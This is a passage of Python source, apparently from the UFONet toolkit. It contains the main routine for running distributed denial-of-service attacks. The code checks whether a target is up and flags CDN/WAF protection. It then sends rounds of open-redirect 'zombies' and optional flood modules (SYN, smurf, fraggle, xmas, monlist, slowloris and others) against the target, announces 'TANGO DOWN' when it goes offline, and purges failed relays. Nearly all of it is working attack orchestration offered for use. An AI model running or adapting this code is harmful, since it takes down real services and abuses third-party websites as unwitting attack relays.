  6111. except urllib.error.HTTPError as e:
  6112. if e.code == 401:
  6113. print('[Info] [AI] [DBStress] Not authorized')
  6114. elif e.code == 404:
  6115. print('[Info] [AI] [DBStress] Not found')
  6116. elif e.code == 503:
  6117. print('[Info] [AI] [DBStress] Service unavailable')
  6118. else:
  6119. print('[Info] [AI] [DBStress] Unknown error')
  6120. else:
  6121. print('[Info] [AI] [DBStress] Database query: HIT!')
  6122. def attackme(self, zombies):
  6123. # perform a DDoS Web attack against yourself
  6124. print("[AI] Starting local port to listening at: " + self.port + "\n")
  6125. print('='*21 + "\n")
  6126. self.doll=Doll(self)
  6127. self.doll.start()
  6128. while not self.doll._armed:
  6129. time.sleep(1)
  6130. # send Open Redirect injection (multiple zombies-multiple target urls)
  6131. target = ""
  6132. self.injection(target, zombies)
  6133. self.doll.shutdown()
  6134. self.doll.join()
  6135. self.herd.list_fails()
  6136. def check_target_status(self):
  6137. if self.num_is_down > 0 and self.num_is_up == 0: # check for: 1 or more down, 0 up
  6138. print("\n[Info] [AI] Congratulations!! -> [Target looks OFFLINE!]\n")
  6139. if not self.options.forceyes:
  6140. update_reply = input("[AI] Do you want to send a [HEAD] check request? (y/N)")
  6141. print("\n" + '-'*25)
  6142. else:
  6143. update_reply = "N"
  6144. if update_reply == "y" or update_reply == "Y":
  6145. try: # send HEAD connection
  6146. self.head = True
  6147. reply = self.connect_zombie(target)
  6148. self.head = False
  6149. if reply:
  6150. print("\n[Info] [AI] [Control] Target has replied you! -> [Keep shooting!]\n")
  6151. else:
  6152. print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
  6153. self.update_targets_crashed() # update targets crashed stats
  6154. self.update_mothership_stats() # update mothership completed attack stats
  6155. except Exception:
  6156. print("\n[Error] [AI] Something wrong with your connection!...\n")
  6157. if DEBUG == True:
  6158. traceback.print_exc()
  6159. return
  6160. else:
  6161. print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
  6162. self.update_targets_crashed() # update targets crashed stats
  6163. self.update_mothership_stats() # update mothership completed attack stats
  6164. return
  6165. def starting_target_check(self, target, head_check):
  6166. options = self.options
  6167. head_check_here = False
  6168. head_check_external = False
  6169. if options.disablehead: # check at start is disabled (skipping!)
  6170. print("[Info] [AI] Skipping external check...\n")
  6171. head_check_here = True
  6172. head_check_external = True
  6173. else:
  6174. if head_check:
  6175. if not options.attackme:
  6176. print("[AI] Launching: 'Is target up?' check...\n")
  6177. try: # send HEAD connection
  6178. self.head = True
  6179. reply = self.connect_zombie(target)
  6180. self.head = False
  6181. if reply:
  6182. print("[Info] [AI] [Control] From YOU: YES -> ["+str(reply)+"-OK]")
  6183. head_check_here = True
  6184. else:
  6185. print("[Info] [AI] [Control] From YOU: NO -> [Target looks OFFLINE!]")
  6186. head_check_here = False
  6187. except Exception:
  6188. print("[Error] [AI] [Control] From YOU: NO -> [Cannot connect!]")
  6189. if DEBUG == True:
  6190. traceback.print_exc()
  6191. head_check_here = False
  6192. else: # check if local IP/PORT is listening on mothership
  6193. print("[AI] Launching: 'Is NAT ready?' check...\n")
  6194. try:
  6195. sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
  6196. result = sock.connect_ex(('0.0.0.0',8080))
  6197. if result == 0 or result == 110: # black magic
  6198. print("[Info] [AI] [Control] Local port: YES | Mothership accesible from -private- IP: http://0.0.0.0:8080")
  6199. head_check_here = True
  6200. else:
  6201. print("[Info] [AI] [Control] Local port: NO | Something goes wrong with your port: 8080")
  6202. head_check_here = False
  6203. except Exception:
  6204. print("[Error] [AI] [Control] Local port: NO | Something wrong checking for open ports...")
  6205. if DEBUG == True:
  6206. traceback.print_exc()
  6207. head_check_here = False
  6208. else:
  6209. head_check_here = True
  6210. # check target using external check services
  6211. self.external = True
  6212. if not options.attackme:
  6213. try:
  6214. target = self.parse_url_encoding(target) # parse for proper url encoding
  6215. if target.startswith("http://"):
  6216. target = target.replace("http://", "")
  6217. else:
  6218. target = target.replace("https://", "")
  6219. try:
  6220. url = self.external_check_service1 + target
  6221. self.user_agent = random.choice(self.agents).strip()
  6222. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer}
  6223. if options.proxy:
  6224. self.proxy_transport(options.proxy)
  6225. req = urllib.request.Request(url, None, headers)
  6226. external_reply = urllib.request.urlopen(req, context=self.ctx, timeout=10).read()
  6227. if b"is UP and reachable" in external_reply:
  6228. t = urlparse(self.external_check_service1)
  6229. name_external1 = t.netloc
  6230. print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external1+"]")
  6231. head_check_external = True
  6232. else:
  6233. raise RuntimeError("external service 1 did not confirm UP")
  6234. except Exception:
  6235. try:
  6236. host = target.split('/', 1)[0]
  6237. host = host.split(':', 1)[0]
  6238. port = 443 if 'https' in self.external_check_service1 else 80
  6239. with socket.create_connection((host, port), timeout=5):
  6240. pass
  6241. print("[Info] [AI] [Control] From OTHERS: YES -> [tcp://"+host+":"+str(port)+"]")
  6242. head_check_external = True
  6243. except Exception:
  6244. print("[Info] [AI] [Control] From OTHERS: NO -> [Target looks OFFLINE!]")
  6245. head_check_external = False
  6246. except Exception:
  6247. print("[Error] [AI] [Control] From OTHERS: NO -> [Cannot connect!]")
  6248. if DEBUG == True:
  6249. traceback.print_exc()
  6250. head_check_external = False
  6251. else:
  6252. try: # check mothership from public ip / NAT using HEAD request
  6253. try:
  6254. req = urllib.request.Request(str(self.pub_ip+":8080"), method="HEAD")
  6255. reply = urllib.request.urlopen(req)
  6256. except Exception:
  6257. reply = None
  6258. if reply:
  6259. print("[Info] [AI] [Control] From OTHERS: YES -> [Mothership OK!] -> ["+str(self.pub_ip)+":8080]")
  6260. head_check_external = True
  6261. else:
  6262. print("\n[Error] [AI] [Control] From OTHERS: NO -> [Cannot connect!] -> [NAT is failing!]")
  6263. head_check_external = False
  6264. head_check_here = False # stop attack if not public IP available
  6265. except Exception:
  6266. print("[Error] [AI] [Control] From OTHERS: NO -> [Check failed!]")
  6267. head_check_here = False # stop attack if not public IP available
  6268. if DEBUG == True:
  6269. traceback.print_exc()
  6270. head_check_external = False
  6271. self.external = False
  6272. if head_check_here and not options.disablehead and not options.attackme:
  6273. try:
  6274. from core._cdn import detect_cdn
  6275. cdn, evidence = detect_cdn(target)
  6276. except Exception:
  6277. cdn, evidence = (None, None)
  6278. if cdn:
  6279. print("\n[Warning] [AI] Target is behind a CDN/WAF: [" + cdn + "]")
  6280. if evidence:
  6281. print("[Info] [AI] CDN evidence -> " + evidence)
  6282. print("[Info] [AI] Open-redirect / L7 attacks often hit the edge cache, NOT the origin. -> [WAF may block!]\n")
  6283. if not options.forceyes:
  6284. r = input("[AI] Do you want to continue anyway? (Y/n)")
  6285. if r.strip().lower() == "n":
  6286. print("\n[Info] [AI] Aborting by user request -> [Exiting!]\n")
  6287. head_check_here = False
  6288. head_check_external = False
  6289. return head_check_here, head_check_external
  6290. def injection(self, target, zombies, head_check = True):
  6291. options = self.options
  6292. # check target's integrity at start
  6293. head_check_here, head_check_external = self.starting_target_check(target, head_check)
  6294. # ask user to confirm the attack
  6295. if head_check_here == True or head_check_external == True:
  6296. if not self.options.forceyes:
  6297. if not options.attackme:
  6298. if not options.disablehead:
  6299. start_reply = input("\n[AI] Target is ONLINE!. Do you want to start an attack? (y/N)\n")
  6300. else:
  6301. start_reply = input("[AI] Do you want to start an attack, directly? (y/N)\n")
  6302. else:
  6303. if not options.disablehead:
  6304. start_reply = input("\n[AI] Mothership is READY!. Do you want to start an attack 'against yourself'? (y/N)\n")
  6305. else:
  6306. start_reply = input("[AI] Do you want to start an attack 'against yourself', directly? (y/N)\n")
  6307. else:
  6308. start_reply = "Y"
  6309. if start_reply == "y" or start_reply == "Y":
  6310. if options.attackme:
  6311. total_rounds = 2 # default rounds for attackme
  6312. else:
  6313. total_rounds = options.rounds # extract number of rounds
  6314. try:
  6315. total_rounds = int(total_rounds)
  6316. except:
  6317. total_rounds = 1
  6318. if not total_rounds:
  6319. total_rounds = 1
  6320. if total_rounds <= 0:
  6321. total_rounds = 1
  6322. self.herd.cleanup()
  6323. num_round = 1
  6324. num_hits = 0
  6325. num_zombie = 1
  6326. # start to attack the target with [MODS]
  6327. if options.loic or options.loris or options.ufosyn or options.spray or options.smurf or options.fraggle or options.xmas or options.ufoack or options.uforst or options.droper or options.overlap or options.pinger or options.ufoudp or options.nuke or options.tachyon or options.monlist or options.sniper:
  6328. ex = threading.Thread(target=self.aiming_extra_weapons, args=(target, self.options.proxy, self.options.loic, self.options.loris, self.options.ufosyn, self.options.spray, self.options.smurf, self.options.fraggle, self.options.xmas, self.options.ufoack, self.options.uforst, self.options.droper, self.options.overlap, self.options.pinger, self.options.ufoudp, self.options.nuke, self.options.tachyon, self.options.monlist, self.options.sniper)) # multithreading flow for extra attacks
  6329. ex.daemon = True # extra weapons are threaded as daemons
  6330. ex.start()
  6331. # start to attack the target with [ARMY]
  6332. zombies = self.extract_zombies() # extract zombies from file
  6333. if zombies:
  6334. self.total_zombie = len(zombies)
  6335. else:
  6336. self.total_zombie = 0
  6337. return
  6338. self.herd=Herd(self)
  6339. if not self.options.disablepurge:
  6340. self.discardzombies = []
  6341. self.discard_aliens = []
  6342. self.discard_droids = []
  6343. self.discard_rpcs = []
  6344. self.discard_ucavs = []
  6345. total_disc_zombies = 0
  6346. self.num_discard_zombies = 0
  6347. self.num_discard_aliens = 0
  6348. self.num_discard_droids = 0
  6349. self.num_discard_rpcs = 0
  6350. self.num_discard_ucavs = 0
  6351. self.empty_zombies = False
  6352. for i in range(0, int(total_rounds)): # start attacking using rounds
  6353. print ("\x1b[2J\x1b[H")# clear screen (black magic)
  6354. print('='*42)
  6355. print('Starting round:', num_round, ' of ', total_rounds)
  6356. print('='*42)
  6357. self.herd.reset()
  6358. self.extra_zombies_lock = True
  6359. self.total_zombies_failed_connection = 0 # reset failed [Zombies] connection counter each round
  6360. self.send_zombies(zombies) # send [Zombies]
  6361. if not self.options.attackme:
  6362. if not self.options.disablealiens or not self.options.disabledroids or not self.options.disablerpcs or not self.options.disableucavs:
  6363. if self.options.verbose:
  6364. print("[Info] [AI] [Control] All [Zombies] have returned for this round... -> [Waiting!]")
  6365. self.send_extra_zombies() # send [ARMY]
  6366. while self.extra_zombies_lock == True:
  6367. time.sleep(1) # wait for [ARMY] to return
  6368. if self.options.verbose:
  6369. print("\n" + '='*42)
  6370. print("\n[Info] [AI] [Control] Full [ARMY] has returned for this round! -> [Refolding!]")
  6371. else:
  6372. zombies_lock = 0
  6373. if self.options.expire: # set timing for purge
  6374. try:
  6375. timing = int(self.options.expire)
  6376. except:
  6377. timing = self.expire_timing # default timing for purge
  6378. else:
  6379. timing = self.expire_timing # default timing for purge
  6380. if timing < 1:
  6381. timing = self.expire_timing # default timing for purge
  6382. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  6383. while self.herd.no_more_zombies() == False: # waiting for [Zombies] to return
  6384. zombies_lock = zombies_lock + 1
  6385. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  6386. if self.options.verbose:
  6387. print("[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
  6388. break
  6389. else:
  6390. time.sleep(1)
  6391. if self.options.verbose:
  6392. print("\n" + '='*42)
  6393. print("\n[Info] [AI] [Control] All [Zombies] have returned for this round! -> [Refolding!]")
  6394. if not self.options.attackme and not self.options.disableucavs: # check for target's status returned by [UCAVs]
  6395. self.check_target_status()
  6396. if not self.options.attackme and not self.options.disablepurge: # enable [Zombies] purge round check
  6397. self.abandoning_zombies() # check for abandoning zombies
  6398. for zombie in self.herd.done: # check for num hits
  6399. if self.herd.connection_failed(zombie) == False:
  6400. num_hits = num_hits + 1
  6401. num_zombie = num_zombie + 1
  6402. if num_zombie > self.total_zombie:
  6403. num_zombie = 1
  6404. if not self.options.attackme and not self.options.disablescanner: # perform a broadband test on target
  6405. check_is_loading = self.check_is_loading(target)
  6406. self.herd.dump_html()
  6407. if not self.options.disablepurge:
  6408. if self.empty_zombies == True:
  6409. break # exit routine when not any more zombies
  6410. num_round = num_round + 1
  6411. if self.options.verbose:
  6412. print("\n" + '='*42)
  6413. print("\n[Info] [AI] This battle is over! -> [Reporting!]")
  6414. if self.options.loic: # try to stop daemons/threads for extra weapons
  6415. self.t1.join()
  6416. if self.options.loris:
  6417. self.t2.join()
  6418. if self.options.ufosyn:
  6419. self.t3.join()
  6420. if self.options.spray:
  6421. self.t4.join()
  6422. if self.options.smurf:
  6423. self.t5.join()
  6424. if self.options.xmas:
  6425. self.t6.join()
  6426. if self.options.nuke:
  6427. self.t7.join()
  6428. if self.options.tachyon:
  6429. self.t8.join()
  6430. if self.options.monlist:
  6431. self.t9.join()
  6432. if self.options.ufoack:
  6433. self.t10.join()
  6434. if self.options.uforst:
  6435. self.t11.join()
  6436. if self.options.droper:
  6437. self.t12.join()
  6438. if self.options.overlap:
  6439. self.t13.join()
  6440. if self.options.pinger:
  6441. self.t14.join()
  6442. if self.options.ufoudp:
  6443. self.t15.join()
  6444. if self.options.fraggle:
  6445. self.t16.join()
  6446. if self.options.sniper:
  6447. self.t17.join()
  6448. if self.options.target_list:
  6449. self.num_target_list = self.num_target_list - 1 # num_target_list = 0 provokes exit!
  6450. print ("\x1b[2J\x1b[H") # black magic
  6451. if not self.options.attackme: # show herd results
  6452. self.herd.dump()
  6453. else: # show doll results
  6454. print('='*21)
  6455. print("\n[Info] [AI] Mothership transmission...\n")
  6456. num_real_zombies = len(self.doll.real_zombies)
  6457. print("[Info] [AI] Total of [Zombies] that are 100% vulnerable to Open Redirect (CWE-601): " + str(num_real_zombies) + "\n")
  6458. for z in self.doll.real_zombies: # show only alien verified zombies
  6459. for x in z:
  6460. print(" - " + str(x))
  6461. self.herd.dump_html(True) # show (all) zombies statistics
  6462. if not self.options.attackme:
  6463. if not self.options.disablepurge:
  6464. print("\n[Info] [AI] Report completed! -> [Purging!]\n")
  6465. else:
  6466. if not options.target_list:
  6467. print("\n[Info] [AI] Report completed! -> [Exiting!]\n")
  6468. else:
  6469. print("\n[Info] [AI] Report completed! -> [OK!]\n")
  6470. self.update_mothership_stats() # update mothership stats
  6471. if not self.options.disablepurge:
  6472. print('='*21+ "\n")
  6473. self.discardzombies = list(dict.fromkeys(self.discardzombies))
  6474. self.discard_aliens = list(dict.fromkeys(self.discard_aliens))
  6475. self.discard_droids = list(dict.fromkeys(self.discard_droids))
  6476. self.discard_rpcs = list(dict.fromkeys(self.discard_rpcs))
  6477. self.discard_ucavs = list(dict.fromkeys(self.discard_ucavs))
  6478. self.num_discard_zombies = len(self.discardzombies)
  6479. self.num_discard_aliens = len(self.discard_aliens)
  6480. self.num_discard_droids = len(self.discard_droids)
  6481. self.num_discard_rpcs = len(self.discard_rpcs)
  6482. self.num_discard_ucavs = len(self.discard_ucavs)
  6483. total_disc_zombies = self.num_discard_zombies + self.num_discard_aliens + self.num_discard_droids + self.num_discard_rpcs + self.num_discard_ucavs
  6484. if total_disc_zombies > 0 and total_disc_zombies < 2:
  6485. print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] unit that isn't working as expected...\n")
  6486. elif total_disc_zombies > 1:
  6487. print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] units that aren't working as expected...\n")
  6488. if self.num_discard_zombies > 0:
  6489. print(" + Zombies: ["+ str(self.num_discard_zombies)+"]")
  6490. if self.num_discard_aliens > 0:
  6491. print(" + Aliens : ["+ str(self.num_discard_aliens)+"]")
  6492. if self.num_discard_droids > 0:
  6493. print(" + Droids : ["+ str(self.num_discard_droids)+"]")
  6494. if self.num_discard_rpcs > 0:
  6495. print(" + X-RPCs : ["+ str(self.num_discard_rpcs)+"]")
  6496. if self.num_discard_ucavs > 0:
  6497. print(" + UCAVs : ["+ str(self.num_discard_ucavs)+"]")
  6498. if total_disc_zombies > 0:
  6499. if not self.options.forceyes:
  6500. if total_disc_zombies > 0 and total_disc_zombies < 2:
  6501. backup_reply = input("\n[AI] Do you want to purge it from your files? (Y/n)\n")
  6502. elif total_disc_zombies > 1:
  6503. backup_reply = input("\n[AI] Do you want to purge them from your files? (Y/n)\n")
  6504. else:
  6505. backup_reply = "Y"
  6506. if backup_reply == "y" or backup_reply == "Y":
  6507. print("\n[Info] [AI] Purging failed units from files...\n")
  6508. discarded = []
  6509. _seen = set()
  6510. def _dedup(lst):
  6511. out = []
  6512. for x in lst:
  6513. if x not in _seen:
  6514. _seen.add(x)
  6515. out.append(x)
  6516. return out
  6517. if self.num_discard_zombies > 0:
  6518. for z in _dedup(self.discardzombies):
  6519. discarded.append(z)
  6520. print(" + [Info] [Zombies] "+z+" -> [Purged!]")
  6521. if self.num_discard_aliens > 0:
  6522. for a in _dedup(self.discard_aliens):
  6523. discarded.append(a)
  6524. print(" + [Info] [Aliens] "+a+" -> [Purged!]")
  6525. if self.num_discard_droids > 0:
  6526. for d in _dedup(self.discard_droids):
  6527. discarded.append(d)
  6528. print(" + [Info] [Droids] "+d+" -> [Purged!]")
  6529. if self.num_discard_rpcs > 0:
  6530. for r in _dedup(self.discard_rpcs):
  6531. discarded.append(r)
  6532. print(" + [Info] [X-RPCs] "+r+" -> [Purged!]")
  6533. if self.num_discard_ucavs > 0:
  6534. for u in _dedup(self.discard_ucavs):
  6535. discarded.append(u)
  6536. print(" + [Info] [UCAVs] "+u+" -> [Purged!]")
  6537. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  6538. if disc_zombies > 0 and disc_zombies < 2:
  6539. print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] unit! -> [OK!]\n")
  6540. elif disc_zombies > 1:
  6541. print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] units! -> [OK!]\n")
  6542. if not self.options.target_list:
  6543. print('-'*21+ "\n")
  6544. print("[AI] "+self.exit_msg+"\n")
  6545. if not self.options.web:
  6546. return
  6547. else:
  6548. if self.num_target_list > 0: # still more targets
  6549. print('-'*21+ "\n")
  6550. print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]\n")
  6551. return
  6552. else: # finish attack from multiple targets
  6553. print('-'*21+ "\n")
  6554. print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]")
  6555. print("\n"+ '='*21+ "\n")
  6556. print("[Info] [AI] All your battles have ended! -> [Exiting!]")
  6557. print("\n"+ '-'*21+ "\n")
  6558. print("[AI] "+self.exit_msg+"\n")
  6559. if not self.options.web:
  6560. return
  6561. else:
  6562. if num_real_zombies < 1: # not any 100% vulnerable zombie found
  6563. print("\n[Info] [AI] [Control] Not any 100% vulnerable zombie found! -> [Exiting!]\n")
  6564. if os.path.exists('mothership') == True:
  6565. os.remove('mothership') # remove mothership stream
  6566. if os.path.exists('alien') == True:
  6567. os.remove('alien') # remove random alien worker
  6568. if not options.web:
  6569. sys.exit(2) # exit
  6570. else:
  6571. return
  6572. else:
  6573. print("\n" + '='*21)
  6574. AI_reply = input("\n[AI] Do you prefer a 'fortune' cookie instead? (y/N)\n")
  6575. if AI_reply == "y" or AI_reply == "Y":
  6576. self.AI() # AI fortune cookie
  6577. print('-'*21+ "\n")
  6578. print("\n[AI] "+self.exit_msg+"\n")
  6579. if os.path.exists('mothership') == True:
  6580. os.remove('mothership') # remove mothership stream
  6581. if os.path.exists('alien') == True:
  6582. os.remove('alien') # remove random alien worker
  6583. if not options.web:
  6584. sys.exit(2) # exit
  6585. else:
  6586. return
  6587. else:
  6588. if not options.attackme:
  6589. print("\n[Info] [AI] "+target+" -> [Target looks OFFLINE!]")
  6590. else:
  6591. print("\n[Error] [AI] NAT is not working correctly! -> [Exiting!]")
  6592. print("\n" + '-'*21)
  6593. print("\n[AI] "+self.exit_msg+"\n")
  6594. if os.path.exists('mothership') == True:
  6595. os.remove('mothership') # remove mothership stream
  6596. if os.path.exists('alien') == True:
  6597. os.remove('alien') # remove random alien worker
  6598. return
  6599. if __name__ == "__main__":
  6600. app = UFONet()
  6601. options = app.create_options()
  6602. if options:
  6603. app.run()